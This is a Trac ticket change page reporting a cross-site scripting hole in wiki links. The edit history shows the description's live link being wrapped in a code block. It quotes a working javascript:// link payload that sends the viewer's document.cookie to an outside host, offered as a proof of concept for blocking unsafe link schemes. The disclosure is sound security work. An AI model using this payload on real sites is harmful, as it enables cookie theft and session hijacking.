Edgewall Software

Changes between Initial Version and Version 3 of Ticket #9557


Ignore:
Timestamp:
Aug 9, 2010, 9:16:14 AM (14 years ago)
Author:
Remy Blank
Comment:

And removed the actual link before too many people click on it :)

Legend:

Unmodified
Added
Removed
Modified

  • Ticket #9557

    • Property Priority normal → high
    • Property Severity normal → major
    • Property Milestone → 0.12.1

  • Ticket #9557 – Description

    initial v3  
    1 [javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.]  This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.
     1{{{
     2[javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.]
     3}}}
     4This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.